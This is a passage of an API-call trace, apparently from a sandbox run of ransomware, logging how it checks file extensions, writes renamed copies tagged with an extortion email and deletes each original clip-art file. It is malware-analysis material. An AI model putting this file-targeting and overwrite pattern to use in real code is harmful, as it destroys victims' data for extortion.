(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0067.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.110] lstrlenW (lpString=".doc") returned 4 [0067.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.110] lstrlenW (lpString=".docx") returned 5 [0067.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.110] lstrlenW (lpString=".pdf") returned 4 [0067.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.110] lstrlenW (lpString=".xls") returned 4 [0067.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.110] lstrlenW (lpString=".xlsx") returned 5 [0067.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.110] lstrlenW (lpString=".ppt") returned 4 [0067.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.110] lstrlenW (lpString=".zip") returned 4 [0067.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.110] lstrlenW (lpString=".rar") returned 4 [0067.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.111] lstrlenW (lpString=".bz2") returned 4 [0067.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.111] lstrlenW (lpString=".7z") returned 3 [0067.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.111] lstrlenW (lpString=".dbf") returned 4 [0067.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.111] lstrlenW (lpString=".1cd") returned 4 [0067.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.111] lstrlenW (lpString=".jpg") returned 4 [0067.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.111] lstrlenW (lpString=".doc") returned 4 [0067.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.111] lstrlenW (lpString=".docx") returned 5 [0067.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.111] lstrlenW (lpString=".pdf") returned 4 [0067.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.111] lstrlenW (lpString=".xls") returned 4 [0067.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.111] lstrlenW (lpString=".xlsx") returned 5 [0067.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.112] lstrlenW (lpString=".ppt") returned 4 [0067.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.112] lstrlenW (lpString=".zip") returned 4 [0067.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.112] lstrlenW (lpString=".rar") returned 4 [0067.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.112] lstrlenW (lpString=".bz2") returned 4 [0067.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.112] lstrlenW (lpString=".7z") returned 3 [0067.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.112] lstrlenW (lpString=".dbf") returned 4 [0067.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.112] lstrlenW (lpString=".1cd") returned 4 [0067.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0067.112] lstrlenW (lpString=".jpg") returned 4 [0067.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.113] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.113] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0067.114] GetLastError () returned 0x0 [0067.114] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0067.116] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0067.117] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.117] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.118] SetEndOfFile (hFile=0x314) returned 1 [0067.118] CloseHandle (hObject=0x314) returned 1 [0067.119] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.120] SetEndOfFile (hFile=0x378) returned 1 [0067.121] CloseHandle (hObject=0x378) returned 1 [0067.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0067.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0067.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0067.122] lstrlenW (lpString=".doc") returned 4 [0067.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.122] lstrlenW (lpString=".docx") returned 5 [0067.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.122] lstrlenW (lpString=".pdf") returned 4 [0067.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.122] lstrlenW (lpString=".xls") returned 4 [0067.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.122] lstrlenW (lpString=".xlsx") returned 5 [0067.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.122] lstrlenW (lpString=".ppt") returned 4 [0067.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0067.122] lstrlenW (lpString=".zip") returned 4 [0067.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.122] lstrlenW (lpString=".rar") returned 4 [0067.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.123] lstrlenW (lpString=".bz2") returned 4 [0067.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.123] lstrlenW (lpString=".7z") returned 3 [0067.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0067.123] lstrlenW (lpString=".dbf") returned 4 [0067.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0067.123] lstrlenW (lpString=".1cd") returned 4 [0067.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0067.123] lstrlenW (lpString=".jpg") returned 4 [0067.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.124] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.124] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0067.125] GetLastError () returned 0x0 [0067.125] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xec4, lpOverlapped=0x0) returned 1 [0067.127] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xed0, lpOverlapped=0x0) returned 1 [0067.128] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.128] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.128] SetEndOfFile (hFile=0x314) returned 1 [0067.129] CloseHandle (hObject=0x314) returned 1 [0067.130] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.130] SetEndOfFile (hFile=0x378) returned 1 [0067.131] CloseHandle (hObject=0x378) returned 1 [0067.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0067.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0067.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0067.132] lstrlenW (lpString=".doc") returned 4 [0067.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.132] lstrlenW (lpString=".docx") returned 5 [0067.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.132] lstrlenW (lpString=".pdf") returned 4 [0067.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.132] lstrlenW (lpString=".xls") returned 4 [0067.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.132] lstrlenW (lpString=".xlsx") returned 5 [0067.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.133] lstrlenW (lpString=".ppt") returned 4 [0067.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0067.133] lstrlenW (lpString=".zip") returned 4 [0067.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.133] lstrlenW (lpString=".rar") returned 4 [0067.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.133] lstrlenW (lpString=".bz2") returned 4 [0067.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.133] lstrlenW (lpString=".7z") returned 3 [0067.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0067.133] lstrlenW (lpString=".dbf") returned 4 [0067.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0067.133] lstrlenW (lpString=".1cd") returned 4 [0067.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0067.133] lstrlenW (lpString=".jpg") returned 4 [0067.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.134] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.134] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0067.135] GetLastError () returned 0x0 [0067.135] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1044, lpOverlapped=0x0) returned 1 [0067.137] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1050, lpOverlapped=0x0) returned 1 [0067.138] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.138] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.138] SetEndOfFile (hFile=0x314) returned 1 [0067.138] CloseHandle (hObject=0x314) returned 1 [0067.140] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.140] SetEndOfFile (hFile=0x378) returned 1 [0067.141] CloseHandle (hObject=0x378) returned 1 [0067.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0067.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0067.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0067.142] lstrlenW (lpString=".doc") returned 4 [0067.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.142] lstrlenW (lpString=".docx") returned 5 [0067.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.142] lstrlenW (lpString=".pdf") returned 4 [0067.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.142] lstrlenW (lpString=".xls") returned 4 [0067.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.143] lstrlenW (lpString=".xlsx") returned 5 [0067.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.143] lstrlenW (lpString=".ppt") returned 4 [0067.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0067.143] lstrlenW (lpString=".zip") returned 4 [0067.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.143] lstrlenW (lpString=".rar") returned 4 [0067.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.143] lstrlenW (lpString=".bz2") returned 4 [0067.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.143] lstrlenW (lpString=".7z") returned 3 [0067.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0067.143] lstrlenW (lpString=".dbf") returned 4 [0067.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0067.143] lstrlenW (lpString=".1cd") returned 4 [0067.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0067.143] lstrlenW (lpString=".jpg") returned 4 [0067.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.144] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.144] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0067.145] GetLastError () returned 0x0 [0067.145] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x32c, lpOverlapped=0x0) returned 1 [0067.669] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x330, lpOverlapped=0x0) returned 1 [0067.670] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.671] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.671] SetEndOfFile (hFile=0x314) returned 1 [0067.671] CloseHandle (hObject=0x314) returned 1 [0067.672] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.672] SetEndOfFile (hFile=0x378) returned 1 [0067.673] CloseHandle (hObject=0x378) returned 1 [0067.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0067.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0067.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0067.675] lstrlenW (lpString=".doc") returned 4 [0067.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.675] lstrlenW (lpString=".docx") returned 5 [0067.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.675] lstrlenW (lpString=".pdf") returned 4 [0067.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.675] lstrlenW (lpString=".xls") returned 4 [0067.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.675] lstrlenW (lpString=".xlsx") returned 5 [0067.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.675] lstrlenW (lpString=".ppt") returned 4 [0067.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0067.675] lstrlenW (lpString=".zip") returned 4 [0067.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.675] lstrlenW (lpString=".rar") returned 4 [0067.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.675] lstrlenW (lpString=".bz2") returned 4 [0067.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.675] lstrlenW (lpString=".7z") returned 3 [0067.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0067.676] lstrlenW (lpString=".dbf") returned 4 [0067.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0067.676] lstrlenW (lpString=".1cd") returned 4 [0067.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0067.676] lstrlenW (lpString=".jpg") returned 4 [0067.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.676] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.677] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0067.677] GetLastError () returned 0x0 [0067.677] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x714c, lpOverlapped=0x0) returned 1 [0067.680] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x7150, lpOverlapped=0x0) returned 1 [0067.681] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.682] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.682] SetEndOfFile (hFile=0x314) returned 1 [0067.682] CloseHandle (hObject=0x314) returned 1 [0067.684] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.684] SetEndOfFile (hFile=0x378) returned 1 [0067.685] CloseHandle (hObject=0x378) returned 1 [0067.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0067.687] lstrlenW 